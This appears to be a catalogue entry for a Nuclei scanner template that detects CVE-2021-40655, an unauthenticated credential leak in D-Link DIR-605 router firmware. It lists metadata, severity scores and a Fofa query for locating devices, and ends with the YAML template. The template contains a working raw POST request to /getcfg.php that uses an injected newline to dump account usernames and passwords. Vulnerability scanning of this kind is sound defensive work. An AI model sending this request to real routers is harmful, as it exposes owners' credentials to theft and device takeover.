CVE-2021-40655: D-Link DIR-605 - Information Disclosure
- Template: CVE-2021-40655
- Name: D-Link DIR-605 - Information Disclosure
- Description: An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page
- Impact: Unauthenticated attackers can obtain router credentials including usernames and passwords by exploiting information disclosure in the getcfg.php endpoint.
- Remediation: Apply firmware updates provided by D-Link or replace the device with a supported model.
- Severity: high
- Authors: DhiyaneshDK
- Tags: cve, cve2021, dlink, kev, dir-605, info-leak, vkev, vuln
- References: https://nvd.nist.gov/vuln/detail/cve-2021-40655, https://github.com/Ilovewomen/D-LINK-DIR-605/
- Cves: CVE-2021-40655
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-40655.yaml
- Digest: 490a00463044022041e82417d1c3d551c96f56dac2494689732597bff663fb246cdd04b8a720b42f022056479ba64e9e3060f20dc2ac3708f21f0268024b3dae7b2efb10a1f252e2f477
- Created at: 2025-06-07T17:32:56Z
- Updated at: 2026-11-19T02:03:50Z
- Age in days: 535
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40655.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-863
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.87039
- Epss percentile: 0.99753
- Cpe: cpe:2.3:o:dlink:dir-605l_firmware:2.01mt:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="l_tb>DIR-605"
- Max-request: 1
- Product: dir-605l_firmware
- Vendor: dlink
Products
| Product | Indexed | Url |
|---|---|---|
| dlink:dir-605l_firmware | yes | /v1/products/dlink/dir-605l_firmware |
Labels
- Name: D-LINK-DIR-605 B2 - Information Disclosure
- Impact: Attackers can retrieve sensitive login credentials, leading to unauthorized access and control over the device.
- Remediation: Update to the latest firmware version or apply security patches provided by D-Link.
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-40655
- Not known: vulnerability type, requirements
```yaml
id: CVE-2021-40655
info:
name: D-Link DIR-605 - Information Disclosure
author: DhiyaneshDK
severity: high
description: |
An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page
impact: |
Unauthenticated attackers can obtain router credentials including usernames and passwords by exploiting information disclosure in the getcfg.php endpoint.
remediation: |
Apply firmware updates provided by D-Link or replace the device with a supported model.
reference:
- https://nvd.nist.gov/vuln/detail/cve-2021-40655
- https://github.com/Ilovewomen/D-LINK-DIR-605/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40655
cwe-id: CWE-863
epss-score: 0.87039
epss-percentile: 0.99753
cpe: cpe:2.3:o:dlink:dir-605l_firmware:2.01mt:*:*:*:*:*:*:*
metadata:
vendor: dlink
product: dir-605l_firmware
fofa-query: body="l_tb>DIR-605"
max-request: 1
tags: cve,cve2021,dlink,kev,dir-605,info-leak,vkev,vuln
http:
- raw:
- |
POST /getcfg.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie:
X-Forwarded-For: 127.0.0.1
SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/xml")'
- 'contains(body, "DEVICE.ACCOUNT")'
condition: and
digest: 490a00463044022041e82417d1c3d551c96f56dac2494689732597bff663fb246cdd04b8a720b42f022056479ba64e9e3060f20dc2ac3708f21f0268024b3dae7b2efb10a1f252e2f477:922c64590222798bb761d5b6d8e72950
```